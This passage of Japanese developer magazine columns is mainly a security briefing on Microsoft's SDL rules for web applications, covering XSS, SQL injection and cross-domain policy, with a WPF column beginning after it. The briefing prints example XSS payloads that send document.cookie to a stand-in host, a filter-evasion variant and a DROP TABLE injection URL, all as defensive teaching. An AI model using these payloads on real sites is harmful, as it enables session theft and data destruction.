Virtual Server は多数の従来型 COM コンポーネントをベースに構築されているため、完全に自動化することができます。このすばらしい特徴については、このコラムでは触れていません。Virtual Server の自動化について詳しく解説されているドキュメントもありますが、Virtual Server を構成テストではなくサーバーの統合タスクに使用する場合の説明がほとんどです。次回のコラムでは、Virtual Server を使用して構成テストを完全に自動化する方法について説明します。

ご意見やご質問は、James (testrun@microsoft.com) までお送りください。

Dr. James McCaffrey は Volt Information Sciences, Inc. に勤務し、レドモンドにあるマイクロソフト本社で働くソフトウェア エンジニアの技術トレーニングを管理しています。これまでに、Internet Explorer、MSN サーチなどの複数のマイクロソフト製品にも携わってきました。また、『.NET Test Automation Recipes』の著者でもあります。連絡先は、jmccaffrey@volt.com または v-jammc@microsoft.com です。


セキュリティに関するブリーフィング
Web に対する SDL の適用
Bryan Sullivan

この記事は、プレリリース版の SDL ガイダンスとツールに基づいて書かれています。ここに記載されているすべての情報は、変更される場合があります。
目次
XSS: 新種のバッファ オーバーフロー
すべての入力を検証する
ValidateRequest を使用する
出力をエンコードする
静的分析を使用して脆弱性をテストする
SQL インジェクション
パラメータ化されたストアド プロシージャを使用する
"EXECUTE @sql" を避ける
データベースのアクセス許可を制限する
ドメイン間の信頼の問題
document.domain
crossdomain.xml
先日、セキュリティ開発ライフサイクル (SDL) チームは、マイクロソフト製品のセキュリティを高めるために大きな効果を発揮している SDL プロセスの詳細を公開しました。このドキュメントは、microsoft.com/sdl からダウンロードできます。
この SDL ガイダンスには、クライアント/サーバー アプリケーションのセキュリティ確保のための戦略が記載されています。バッファ オーバーフロー脆弱性に対応するための戦略についても、詳細に解説されています。必須となったコンパイラ スイッチおよびリンカ スイッチは少なくとも 3 つあり (/GS、/SAFESEH、/NXCOMPAT)、コード分析警告は 20 個前後 (Visual Studio® 2005 以降で /analyze オプションを使用すると見つかります)、廃止された API 関数は 150 個を超えます。バッファ オーバーフロー脆弱性は、SDL にとって最大の難敵となっていることがわかります。
公開されている SDL ドキュメントには、Web アプリケーションやオンライン サービスのセキュリティ確保に関するガイダンスが記載されていません。実際には、SDL の実装以外の要件のほとんどがクライアント/サーバーにも Web アプリケーションにも適用できます。これは、Windows® フォーム アプリケーションで重要であるのと同様に、Web フォーム アプリケーションの作成時にも重要となります。同じく、Windows サービスと同様に SOAP サービスでも最終的なセキュリティ レビュー (Final Security Review) を実行することは重要です。しかし、クロスサイト スクリプティング (XSS) や SQL インジェクションなどの Web 関連の脆弱性についてはどうでしょうか。SDL はクライアント/サーバー アプリケーションをバッファ オーバーフローから保護することに大きな注意を払っているのに、Web における最大の難敵である XXS 攻撃からオンライン サービスを保護することに注意を払わないのはなぜでしょう。
実は、そういった問題に対しても注意を払っています。マイクロソフトのオンライン サービス セキュリティおよびコンプライアンス (Microsoft® Online Services Security and Compliance) チームは、SDL において Web アプリケーションのセキュリティ問題を突き止め、解決するために貢献してきました。ただし、こういった SDL 要件がマイクロソフトの外部に公開されることはこれまでありませんでした。Web アプリケーションに特有の SDL 要件の一部は最新の要件であったため、チームではその要件の効果が実証されてから、社外に公開する方針だったのです。オンラインの脆弱性が業界全体で問題化する中、チームはオンライン サービス SDL 要件の効果に自信を深め、初めて公開に踏み切ることになりました。
このコラムは、XSS や SQL インジェクションなど、Web アプリケーションのセキュリティ問題に関する知識がある方を対象にしています。このような概念になじみのない方は、以降の内容に目を通す前に、予習しておいてください。この種の脆弱性に関する参考資料としては、『19 Deadly Sins of Software Security』(Michael Howard、David LeBlanc、John Viega 著、McGraw-Hill 2005) をお勧めします。

XSS: 新種のバッファ オーバーフロー
多くの点から見て、XSS 脆弱性の危険性はバッファ オーバーフローに匹敵します。セキュリティ専門家だけでなく、Web セキュリティの専門家でさえ、このような主張に同意してくれないことがよくあります。しかし、最大級の被害を与えるバッファ オーバーフロー攻撃の攻撃ペイロードは、XSS の攻撃ペイロードとまったく同じ場合があることを考えてみてください。
XSS 攻撃を使えば、クレジット カード番号や銀行口座番号などのユーザーの個人情報だけでなく、ユーザーのパスワードも盗むことができます。さらに、自己複製する Web ワームを作成してサイト全体に蔓延させ、リソースを浪費し、サイトの動作を鈍らせることもできます。

すべての入力を検証する
明らかに、XSS は重大な問題として扱う必要があります。SDL でも真剣に取り組んでおり、オンライン サービス チームが特定の開発基準に従うように求めています。まず、ユーザー、コンポーネント、または他のプログラムからアプリケーションへの入力をすべて検証し、入力データに危険なマークアップやスクリプト文字が含まれていないことを確認した後で、入力データを処理する必要があります。たとえば、ユーザーがテキスト ボックスに次のテキストを入力したとします。
My name is <a href=
"javascript:document.location='http://fabrikam.com/'+document.cookie">
Amy</a>
この入力内容全体を悪意あるコードとして拒否する必要があります。または、このテキストからマークアップを削除し、次のテキストに戻すこともできます。
My name is Amy
ただし、特殊文字をエスケープする方法は数多くあるため、このようにマークアップを削除する手法は危険です。< という文字は、&lt、&#60、&#x3c、または %3c としてコード化できます。すべての特殊文字の使用可能なエスケープ文字をすべて把握していない限り (おそらく不可能でしょう)、単純に入力された値を予想される形式と比較し、一致しなければ拒否するという方法をお勧めします。しかし、なぜでしょう。なぜ、それほどマークアップ タグを警戒するのでしょうか。
マークアップ タグが危険なのは、<b> や <i> など、まったく無害に見えるタグにもスクリプト属性を含めることができるためです。次の入力内容には、アプリケーションに対する危険性はありません。
My name is <b>Amy</b>
しかし、次の場合はまったく違う結果になります。
My name is <b onmouseover="document.location = 'http://fabrikam.com/' + document.cookie">Amy</b>
このページを表示したユーザーがマウス ポインタを "Amy" の上に置くと、知らない間にドキュメントの Cookie (認証トークンが含まれている可能性があります) が fabrikam.com に送信されます。おそらく、送信先ではハッカーが Cookie を調べてユーザーの ID を盗もうとして待ちかまえています。SDL ではこの問題を解決するために、図 1 に示すホワイトリストに含まれる安全な HTML 要素のみをユーザー入力で許可しています。
図 1 許可される HTML タグ
<a>
<b>
<blockquote>
<br>
<div>
<em>
<font>
<i>
<li>
<ol>
<p>
<strong>
<u>
<ul>
SDL では、これらの要素の属性の一部についても許可していますが、それについて解説するよりも、検証方法を解説する方が重要です。ユーザーの入力を検証する最も効果的な方法の 1 つは、RegularExpressionValidator コントロールまたは Regex クラスを使用する方法です。
// ensure the user input matches the form of a US ZIP code
if (!Regex.IsMatch(TextBox1.Text,@"^\d{5}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}
この手法は、ユーザーの入力が電話番号や電子メール アドレスのように明確に定義された構造を持つ場合に、最も簡単に実行できます。ただし、人名のようにもっと変化の大きい入力内容でも可能です。次の正規表現テストは、Unicode 文字、スペース、アポストロフィ (O'Brien などの人名に対応するため) の組み合わせで、長さが 1 文字以上、40 文字以下の人名に対応します。
if (!Regex.IsMatch(TextBox1.Text,@"^[\p{L}'\s]{1,40}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}
次に、太字と斜体のタグを許可するために、この正規表現を修正します。
if (!Regex.IsMatch(
  TextBox1.Text,@"^([\p{L}'\s]|<b>|</b>|<i>|</i>){1,40}$") {
...
さらに、SDL の許可するすべての要素、属性、属性値に対応するようにこの正規表現を修正することもできますが、そうすると正規表現が複雑化して、エラーが発生しやすくなります (つまり攻撃を受けやすくなります)。ほとんどの場合、マークアップを完全に拒否するか、SDL の許可する要素 (<b> や <i> など) のサブセットを定義してその要素の属性を拒否する方が簡単であり、安全です。

ValidateRequest を使用する
ASP.NET Version 1.1 以降に備わっている Page ディレクティブ ValidateRequest を使用して、XSS 攻撃を招く可能性のある悪意あるユーザー入力を阻止できます。
<%@ Page ValidateRequest="true">
web.config ファイルでこのプロパティを設定することで、アプリケーション全体に適用できます。
<configuration>
    <system.web>
       <pages validaterequest="true"/>
    </system.web>
  </configuration>
ValidateRequest は既定で有効であるため、Page ディレクティブまたは構成ファイルで明示的に ValidateRequest を無効にしないことだけに注意してください。ValidateRequest により、HTML または XML を含む要求はすべてブロックされます。ユーザーから HTML または XML の入力を受け取ることを目的としたページの場合、ValidateRequest を無効にする必要がありますが、先に説明した入力検証ガイドラインに従うように注意してください。
最後に、ValidateRequest では単純な XSS 攻撃にしか対応できないことを指摘しておきます。ValidateRequest ロジックには、悪意ある入力を素通りさせる既知の抜け穴が多数あります。それでも、ValidateRequest は基本的に無償で使用できるため、使用する価値はありますが、多層防御の方法を検討することをお勧めします。XSS 防御のためには、入力検証と出力エンコードを適切に実行することの方がはるかに重要です。決して ValidateRequest のみに依存しないでください。

出力をエンコードする
XSS 脆弱性への攻撃は、最終的に悪意あるスクリプトが被害者のブラウザで実行されたときに行われます。XSS に対する最も重要で効果的な SDL 防御の 1 つが、出力が応答に書き出される前に、出力をエンコードすることです。次の脆弱性のある C# ASP.NET コードについて検討してみましょう。
<html>
  <body>
    Hello, <%= Request.QueryString["name"] %>
  </body>
</html>
クエリ文字列パラメータ "name" の値に悪意あるスクリプトを含めた URL を作成し、何も知らないユーザーをだましてその URL に導くだけで、攻撃者のコードがユーザーのブラウザで実行されます。
http://www.adatum.com/mypage.aspx?name=<script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
しかし、出力をエンコードした後で応答に書き出すようにソース コードを変更すれば、この攻撃は無効になります。
<html>
  <body>
    Hello, <%= Server.HtmlEncode(Request.QueryString["name"]) %>
  </body>
</html>
この場合、攻撃者の <script> テキストは無害なテキストとしてユーザーのブラウザに表示され、アクティブ コンテンツとして実行されなくなります。
この防御法は XSS 攻撃に対して非常に効果的ですが、残念ながら上記のコード例のように簡単に実装できるとは限りません。さらに、この防御法を一貫して機能させるには、ユーザーの入力が応答のどの部分でどのようにレンダリングされるかに応じて、エンコード方法を変える必要があります。
詳しく説明するために、別のコード例を紹介します。このコードは、ユーザーの入力をプレーン HTML ではなく、別の HTML 要素の属性値としてページに書き戻します。
<html>
  <body>
    <img src='image.jpg' alt='<%=Request.QueryString["alt"]%>' />
  </body>
</html>
HTML エンコードを行わずにこのコードが書き出される場合、簡単に攻撃することができます。
http://www.adatum.com/mypage.aspx?alt='><script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
Server.HtmlEncode への呼び出しを追加できます。
<html>
  <body>
    <img src='image.jpg'
      alt='<%=Server.HtmlEncode(Request.QueryString["alt"])%>' />
  </body>
</html>
攻撃者は少し手間がかかるようになりますが、まだ攻撃することができます。
http://www.adatum.com/mypage.aspx?alt='%20onmouseover=
   eval('document.location='.concat(String.fromCharCode(34)).concat('http://fabrikam.com/').
   concat(document.cookie).concat(String.fromCharCode(34)))%20foo='bar
この攻撃用文字列には、二重引用符、小なり記号、大なり記号など、HTML エンコードの影響を受ける文字が含まれていません。
このように、単純な HTML エンコードでは XSS を十分に防止できないことがわかります。ユーザーの入力が URL の一部として書き出される場合にも、HTML エンコードでは対策しきれません。
<html>
  <body>
    <a href="mypage.aspx?foo=<%=Request.QueryString["foo"]%>">
      Click me!</a>
  </body>
</html>
ユーザーの入力がスクリプトの一部として書き出される場合も同様です。
<html>
  <body>
    <script>
      var name = <%=Request.QueryString["name"]%>;
      alert('Hello ' + name + '!');
    </script>
  </body>
</html>
実際には、求められる出力エンコードの種類によって、プレーン HTML、HTML 属性、URL、JavaScript、VBScript、XML、および XML という 7 つのケースが考えられます。このような各ケースがソース コードに出現するたびに対応していては、非常に煩雑で、間違いを起こしやすくなります。さいわいにも、マイクロソフトの ACE (Application Consulting and Engineering) チームは、この作業を支援するために Anti-XSS 出力エンコーディング ライブラリを作成しました。出力形式に応じて、適切なエンコード方法を呼び出すだけで、正しい処理を実行できます。
<html>
  <body>
    Hello, <%=AntiXss.HtmlEncode(Request.QueryString["name"])%>
    <img src='image.jpg'
     alt='<%=AntiXss.HtmlAttributeEncode(Request.QueryString["alt"])%>'>
    </img>
  </body>
</html>
SDL では、すべてのマネージコード オンライン サービスに対して Anti-XSS ライブラリを使用するように求めています。Anti-XSS ライブラリの Version 1.5 は、go.microsoft.com/fwlink/?LinkId=122628 で公開されています。

静的分析を使用して脆弱性をテストする
SDL は、単なるガイダンスやトレーニングではありません。ツールも、SDL の重要な要素です。分析ツールは SDL の検証 (セキュリティ テスト) フェーズで特に有効です。分析ツールにより、SDL の設計ガイドラインおよび実装ガイドラインが適切に遵守され、脆弱性が見落とされていないことを確認します。
マイクロソフトのオンライン サービス チームでは、CAT.NET (Code Analysis Tool for .NET の略) という静的分析ツールを使用します。CAT.NET は SDL で必須となっており、XSS、SQL インジェクション、ユーザー支配サイトへのリダイレクト (フィッシング攻撃に利用されます) など、Web アプリケーションで広まっている危険なセキュリティ脆弱性の多くを検出できます。
Anti-XSS 出力エンコーディング ライブラリと同様、CAT.NET もマイクロソフトの ACE チームによって開発されました。Anti-XSS とは異なり、CAT.NET はまだマイクロソフト外部に公開されていません。ただし、クロスサイト スクリプティングの脆弱性を検出する、ベータ バージョンの CAT.NET が公開されています。このツールは XSSDetect と呼ばれます。go.microsoft.com/fwlink/?LinkId=122629 から入手できます。

SQL インジェクション
今年初め、数百万の従来型 ASP Web サイトが、ページ コンテンツに埋め込まれた悪質なスクリプト タグによる原因不明の攻撃を受けました。当初、この問題は IIS の脆弱性として報告されましたが、最終的には IIS が原因ではなく、攻撃を受けたサイトに SQL インジェクションの脆弱性があったことが判明しました。
ASP サイトだけが影響を受けた原因は、攻撃者が SQL Server® のみを対象とした SQL インジェクション ペイロードを使用していたことと、ASP サイトではバックエンド データベースとして SQL Server が使用される可能性が高いと攻撃者が推定したことが考えられます。攻撃は ASP.NET サイトにも急激に拡大し、SQL インジェクションが簡単に解決される問題ではないこと、マネージ コードを使用しても SQL インジェクションを防止できない可能性があることが証明されました。
SDL では、SQL インジェクション防止のために 3 つの要件が定められています。1 つ目は、アプリケーションでは必ずパラメータ化されたストアド プロシージャを利用してデータベースにアクセスすること。2 つ目は、ストアド プロシージャで "EXECUTE @sql" コマンドを使用しないこと。3 つ目は、それらのストアド プロシージャを実行する目的でのみ、アプリケーション サービス アカウントにアクセス許可を与えることです。

パラメータ化されたストアド プロシージャを使用する
SQL インジェクション脆弱性の根本的な原因は、SQL コマンド テキストをユーザー入力と連結するというアドホックな方法で SQL コマンドが作成され、実行されることにあります。次に例を示します。
// This code is vulnerable to SQL injection - DO NOT USE
SqlCommand command = "SELECT * FROM [CustomerRecord]
WHERE CustomerName = '" + Request["CustomerName"] + "'";
攻撃者はこのコードを利用して、CustomerName パラメータに独自の SQL コードを指定できます。その後、このパラメータはデータベースに渡され、実行されます。問題は、コードとデータが明確に分離されていない点にあります。しかし、コマンド テキストを実行時に作成するのではなく、パラメータ化されたストアド プロシージャを使用するようにこのコードを変更することで、コードとデータをより明確に分離することができます。
SqlCommand command = "FindCustomerRecord";
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add(new SqlParameter("@CustomerName",
  SqlDbType.NVarChar, 16, Request["CustomerName"]));
対応するストアド プロシージャのコードは次のようになります。
CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS
  SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName
RETURN
このコードは元のコードと比較して、SQL インジェクションに対する安全性が高まっています。
たとえば、攻撃者が悪意ある SQL を CustomerName パラメータに注入することを試みるとします。
http://www.adatum.com/mypage.aspx?CustomerName=foo';DROP%20TABLE%20CustomerRecord
攻撃用文字列テキストはエスケープされ、コマンド テキストとしてはなくデータとしてストアド プロシージャにより正しく解釈されます。
これについては、ストアド プロシージャは実際には必要ないという意見もあります。インラインの単純なパラメータ化されたクエリで、十分に SQL インジェクションから保護できるという主張です。
SqlCommand command =
"SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName";
command.CommandType = CommandType.Text;
command.Parameters.Add(new SqlParameter(
  "@CustomerName", SqlDbType.NVarChar, 16, Request["CustomerName "]));
その主張は間違ってはいません。適切に指定されたパラメータをパラメータ化されたクエリで常に使用すれば、SQL インジェクションの危険は避けられます。しかし、ストアド プロシージャを使用すれば、インラインのパラメータ化されたクエリよりもパフォーマンスが向上することに加え、もう 1 つ重要な多層防御の手段が得られます。これは、ストアド プロシージャのみにアクセス許可を設定し、基盤となるデータベース オブジェクトをアプリケーション サービス アカウントから隠すことで実現します (詳細は、このコラムで後述します)。
この手法で注意すべき最も重要な点は、連結によってアドホックな SQL コマンドを絶対に作成しないようにすることです。ストアド プロシージャの使用には大きな利点があります。ただし、ストアド プロシージャを使用できない場合には、代わりにインラインのパラメータ化されたクエリを使用する必要があります。

"EXECUTE @sql" を避ける
SQL インジェクションへの防御に関する根強い勘違いの 1 つが、ストアド プロシージャを使用するだけで SQL インジェクションを防止できるというものです。SQL インジェクションを実際に実行するのは、連結されたコマンド文字列であることを絶対に忘れないでください。そのため、連結された文字列をストアド プロシージャに移動しただけでは、問題は解決しません。
CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN
SDL では、前に示した例のように、T-SQL EXECUTE コマンドまたは EXEC コマンドを使用し、文字列引数として指定された SQL クエリを実行することが禁止されています。この規則は、コマンド テキストにユーザー入力を直接連結しないクエリにも適用されます。
次に示すサンプル ストアド プロシージャは、パラメータを受け取りませんが、SQL インジェクション攻撃に対する潜在的な脆弱性があります。
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN
このプロシージャは、ユーザーの入力に基づいてクエリを作成しないため、安全に思えます。本当にそうでしょうか。ユーザーが自分の顧客名を指定できるのであれば、攻撃者は SQL コマンドを含んだ悪意のある顧客名を簡単に作成できます。そうなると、FindBestCustomerRecord ストアド プロシージャが実行されたときに、攻撃者の SQL テキストも実行されます。
これが、第 2 の SQL インジェクション脆弱性の例です。攻撃ペイロードがすぐに実行されず、システム内に保存され、後になってから別の関数によって実行されます。SDL では、SQL コマンド文字列引数で EXECUTE および EXEC の使用を禁止することで、第 2 の SQL インジェクション脆弱性と、従来の第 1 の SQL 脆弱性の両方を防止します。EXECUTE で唯一認められている使用方法は、次のように他のストアド プロシージャを呼び出すことです。
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE FindCustomerRecord @CustomerName
RETURN

データベースのアクセス許可を制限する
前にも説明しましたが、SDL では開発者がデータベースへのアクセスにストアド プロシージャを使用するように求めています。この要件は、開発者がアドホックな連結 SQL コマンドを作成しないようにすることが主な目的ですが、データベースのアクセス許可を制限することで新たな保護手段が得られるという大きな利点もあります。
SQL インジェクションへの防御に関する最後の SDL 要件は、データベース ストアド プロシージャに対してのみ、アプリケーション サービス アカウントに EXECUTE アクセス許可を与えることです。具体的には、データベース テーブルおよびビューに対する直接の SELECT、INSERT、UPDATE、DELETE アクセス許可をすべて無効にし、ストアド プロシージャへの EXECUTE のみを許可します。もちろん、未使用の組み込みストアド プロシージャ (xp_cmdshell など) についても、これらのコマンドへのアクセスを許可しないでください。実際には、これらのストアド プロシージャは無効にするか、完全に削除します。SQL Server 2005 以降を使用している場合は、セキュリティ構成ツールを使用してこれを実行できます。
この要件は単なる脆弱性予防にとどまらない、多層防御の手法であるため、SDL の SQL インジェクション防御の要件の中では特異です。SQL インジェクション脆弱性がコードに紛れ込んでいる場合、アカウントのアクセス許可を制限しても、攻撃者が脆弱性を見つけることを防止できません。しかし、テーブルに直接アクセスできないようにすることで、攻撃者が脆弱性を悪用することが防止されます。攻撃者はストアド プロシージャを実行することのみ可能ですが、それにも、ストアド プロシージャの名前と引数を事前に調べておくか推測する必要があります。
sys.objects (または、SQL Server 以外のこれに相当するもの) などのオブジェクト カタログ ビューにアクセスできなければ、無計画な SQL インジェクション攻撃は不可能ではないにしても、非常に困難になります。攻撃者は純粋な推測攻撃や総当たり攻撃に頼らざるを得ませんが、どちらもそれほど効率のいい方法ではありません。くれぐれも攻撃者の作業を助けるような詳細なエラー メッセージは表示しないでください。<customErrors> 構成要素のモードを On または RemoteOnly に設定して、説明のない汎用エラー メッセージが返されるようにしてください。

ドメイン間の信頼の問題
理論上、生成元が同じであるポリシーが存在すると、Web ブラウザで実行されるクライアント側スクリプトは、ブラウザのウィンドウやフレームに読み込まれたドキュメントとデータをやり取りできません。ただし、そのドキュメントの生成元が、スクリプトの実行されるページの生成元と同じ場合は例外です。この場合、"生成元" とはドキュメントのドメイン、プロトコル、ポートの組み合わせによって定義されることに注意してください。たとえば、http://www.adatum.com/page.aspx にページがあるとします。図 2 の表に、ページとデータをやり取りできないサイトの例と、その理由を示します。
図 2 データのやり取りができないクロスドメイン サイト
サイト | 無効の理由
https://www.adatum.com/page.aspx | プロトコルの不一致
http://www.adatum.com:8080/ page.aspx | ポートの不一致
http://www.fabrikam.com/page.aspx | ドメインの不一致
http://foo.adatum.com/page.aspx | ドメインの不一致
セキュリティを最優先する観点から考えれば、生成元が同じポリシーは非常に有効であり、悪意のある Web サイトが他のサイト上のデータに不正アクセスすることを防止できます。ただし、同時にこれによって一部の便利な革新的アプリケーション シナリオ (クライアント側によるマッシュアップなど) が制限されるため、Web 開発者はこれをバイパスする新しい手段を求め続けることになります。

document.domain
生成元が同じポリシーを避ける方法の 1 つが、ドキュメント オブジェクト モデル (DOM) の Document オブジェクトの domain プロパティを編集する方法です。この値は、既定でドキュメントの読み込み元のドメインになります。そのため、この例の場合は www.adatum.com となります。ただし、この値は、adatum.com (www が付かない) のように、限定性の低い値に変更することができます。www.adatum.com から読み込まれるページと、blog.adatum.com から読み込まれるページがあるとします。この 2 つのページの document.domain プロパティを adatum.com に切り詰めると、ページの生成元が異なっていても、互いにデータをやり取りできるようになります。
例外もありますが、ほとんどの Web ブラウザでは、document.domain プロパティをトップレベルのドメイン (.com や .net のみ) に切り詰めることや、まったく別のドメイン (www.contoso.com) に変更することはできないので、注意してください。これは、Web ブラウザに起因する技術上の制限事項です。ただし、SDL でも document.domain の値の変更について独自のポリシー制限を定めています。それは、この動作に重要なセキュリティ上の意味があるためです。
ページと通信できるサイトの数を増やすことで、XSS 攻撃の実行が可能なページの数も増えます。たとえば、通常 www.adatum.com/page.aspx には www.adatum.com から実行される XSS 攻撃のみに対する脆弱性があります。しかし、document.domain の値を adatum.com に切り詰めると、このページには alice.adatum.com や barry.adatum.com など、adatum.com の任意のサブドメインから実行される XSS 攻撃に対しても脆弱性があることになります。
このようなシナリオで機密データの損失を阻止するために、SDL ではサイト上で個人を特定できる情報 (PII) がどのような形でも扱われておらず、ビジネスに中規模または大規模な影響を与えるデータが扱われていない限り、document.domain の切り詰めを禁止しています。

crossdomain.xml
生成元が同じポリシーをバイパスするためによく使用されるもう 1 つの手段が、crossdomain.xml ファイルです。crossdomain.xml は、もともとは Flash ムービーで読み込み元のサーバー以外のサーバーと通信できるようにするために、Macromedia (現在は Adobe に吸収合併) によって実装されたものです。Microsoft Silverlight 2™ でも、Silverlight アプリケーションは crossdomain.xml ポリシー ファイルに準拠して、別々のドメイン間で通信を行います。
crossdomain.xml ファイルには、アクセスが許可されるすべての外部ドメインが指定され、通常はドメインのルート (たとえば www.adatum.com/crossdomain.xml など) にホストされます。次に、crossdomain.xml ファイルの例を示します。
<cross-domain-policy>
  <allow-access-from domain="www.contoso.com"/>
</cross-domain-policy>
このファイルでは、www.contoso.com にホストされるすべての Flash アプリケーションまたは Silverlight アプリケーションからのアクセスを許可するように、サーバーを構成します。crossdomain.xml ファイルでは、allow-access-from をワイルドカードでも指定できます。
<cross-domain-policy>
  <allow-access-from domain="*.contoso.com"/>
  <allow-access-from domain="*.net"/>
</cross-domain-policy>
この構成では、contoso.com の任意のサブドメインだけでなく、.net トップレベル ドメインを含む任意のサイトからのアクセスも許可されることに注意してください。実際、必要であればインターネット全体へのアクセスも許可できます。
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>
当然と言えますが、SDL ではこのように過度に寛容な構成を認めていません。crossdomain.xml の使用については、2 つの規則があります。1 つ目は、サイトに他のドメインからのアクセスを許可しない場合、すべての crossdomain.xml ファイルをサイトから削除する必要があるというものです。これは、純粋に攻撃対象を減らすことが目的です。2 つ目は、サイトで他のドメインからのアクセスを許可し、認証ユーザーのみが使用できるアプリケーション機能を提供する場合、このサイトでは crossdomain.xml ファイルをホストできますが、allow-access-from 要素にワイルドカードを使用できないというものです。許可するドメインはすべて、完全修飾で指定する必要があります。
SDL では、サイト上のすべてのアプリケーションが完全に公開される場合に限り (つまり、アクセス認証が行われず、PII が含まれない場合)、crossdomain.xml でインターネット全体へのアクセスを許可する広範なワイルドカード エントリを使用することが認められています。これを選択した場合、ドメイン上のすべてのアプリケーションを厳しく監視して、認証を必要とする機能が決して追加されないように注意する必要があります。実際には、ワイルドカードを使用せず、アクセスが必要なサイトを明示的に指定する方が簡単であり、安全性も高いと考えられます。

今後の活動
SDL における Web アプリケーションの要件について簡単に説明してきましたが、参考になりましたでしょうか。所属組織の Web 開発チームでこれを実装する機会があれば、試してみてください。また、SDL チームは今後も活動を続けますので、ご安心ください。SDL チームでは Web 特有の新しい要件をいくつか開発中であり、現在マイクロソフト内部のオンライン サービス グループでベータ テストを行っています。これらの要件がベータ版を終えて正式な SDL 要件になったときには、SDL ブログ (blogs.msdn.com/sdl) を随時更新し、詳細な情報をお知らせする予定です。
このコラムに協力してくれた Spencer Low、SDL にオンライン サービス要件を加えるために尽力した Grant Bugher、Martin Rues、および Shankar Bharadwaj に感謝します。

ご意見やご質問は、briefs@microsoft.com まで英語でお送りください。

Bryan Sullivan は、マイクロソフトのセキュリティ開発ライフサイクル チームのセキュリティ プログラム マネージャであり、Web アプリケーションのセキュリティ問題を専門に扱っています。最初の著作である『Ajax Security』は、2007 年 12 月に Addison-Wesley から出版されました。


基礎
依存関係プロパティと通知
Charles Petzold

コードのダウンロード : Foundations2008_09a.exe (158 KB)
オンラインでのコードの参照
目次
依存関係プロパティの基礎
ソースとターゲットをバインドする
カスタム コレクションと通知
依存関係プロパティとイベント
動的なバインド
Freezable の差異
DependencyPropertyDescriptor を使用する
DependencyObjects のコレクション
オブジェクトには、数多くの役目が負わされるようになってきました。さまざまな作業がオブジェクトに指定されます。Windows® Presentation Foundation (WPF) アプリケーションでは、一般的なオブジェクトに対して多種多様な要求が同時に殺到することがあります。たとえば、このデータにバインドし、このようなスタイルを設定し、ビジュアル ツリーの親からビジュアルを継承し、さらにアニメーションを表示するといったことが要求されます。
どのように範囲を区切り、優先順位を決めればよいでしょうか。この問題を解決するために、WPF では依存関係プロパティという機能を利用します。WPF クラスで依存関係プロパティを使用することで、データのバインド、スタイル、継承、さらに他のソースによって生じた変更に構造的に対応できます。依存関係プロパティは、初期の .NET プログラマにとってのイベントやイベント処理と同じくらい重要な機能です。
ただし、従来からある一部の作業では、依存関係プロパティでも完全には対応できない場合があります。たとえば、依存関係プロパティを持つ特定のオブジェクトにアクセスできるとき、そのプロパティの 1 つが変更されたときに通知を受けるように設定するとします。イベント ハンドラを使えば、この処理は簡単に実現できるように思えます。しかし、必要な通知イベントが単に存在しないとしたら、どうでしょうか。
これは、オブジェクトのコレクションを扱う場合に重大な問題となります。コレクションに含まれるオブジェクトの、特定の依存関係プロパティに加えられた変更を通知する場合を考えてみましょう。従来の方法では、FreezableCollection<T> を使用するしかありません。これによって、何らかの変更が発生したときに通知が行われます。しかし、変更の内容までは通知されません。
つまり、依存関係プロパティが他の機能とうまく連携できない場合があるのです。このコラムでは、依存関係プロパティに通知イベントが存在しないという問題を補う方法について解説します。

依存関係プロパティの基礎
PopArt という名前の WPF クラスを作成するとします。ここでは、Brush 型のプロパティ、SwirlyBrush を定義します。PopArt が DependencyObject から継承される場合、SwirlyBrush を DependencyProperty として定義できます。まず、パブリックの静的な読み取り専用フィールドを定義します。
public static readonly DependencyProperty SwirlyBrushProperty;
依存関係プロパティは、元のプロパティの名前に "Property" が付加された名前になります。次に、フィールド宣言または静的コンストラクタの中で、依存関係プロパティを登録します。
SwirlyBrushProperty = DependencyProperty.Register("SwirlyBrush",
  typeof(Brush), typeof(PopArt),
  new PropertyMetadata(OnSwirlyBrushChanged));
さらに、このプロパティに対する通常のアクセスに使用される通常のプロパティ (CLR プロパティとも呼ばれる) を定義する必要があります。
public Brush SwirlyBrush {
  set { SetValue(SwirlyBrushProperty, value); }
  get { return (Brush) GetValue(SwirlyBrushProperty); }
}
SetValue メソッドと GetValue メソッドは DependencyObject によって定義されます。そのため、依存関係プロパティを定義するすべてのクラスが DependencyObject クラスから派生していることが必要です。CLR プロパティには、この 2 つのメソッドへの呼び出し以外のコードを含めないでください。CLR プロパティは、しばしば依存関係プロパティによって "サポート" されると言われます。
依存関係プロパティの登録で参照されている OnSwirlyBrushChanged メソッドは、SwirlyBrush プロパティが変更されるたびに呼び出されるコールバック メソッドです。このメソッドは静的フィールドに関連付けられているため、静的である必要があります。
static void OnSwirlyBrushChanged(DependencyObject obj,
  DependencyPropertyChangedEventArgs args) {
  ...
}
最初の引数は、プロパティが変更されるクラスの特定のインスタンスです。PopArt という名前のクラスでこの依存関係プロパティを定義した場合、最初の引数は必ず PopArt 型のオブジェクトになります。ここでは、静的メソッドと同じ名前でインスタンス メソッドを定義します。静的メソッドでは、次のようにインスタンス メソッドを呼び出します。
static void OnSwirlyBrushChanged(DependencyObject obj,
  DependencyPropertyChangedEventArgs args) {
  (obj as PopArt).OnSwirlyBrushChanged(args);
}

void OnSwirlyBrushChanged(DependencyPropertyChangedEventArgs args) {
  ...
}
このインスタンス メソッドには、SwirlyBrush の値の変更に対応するために必要な要素がすべて含まれます。
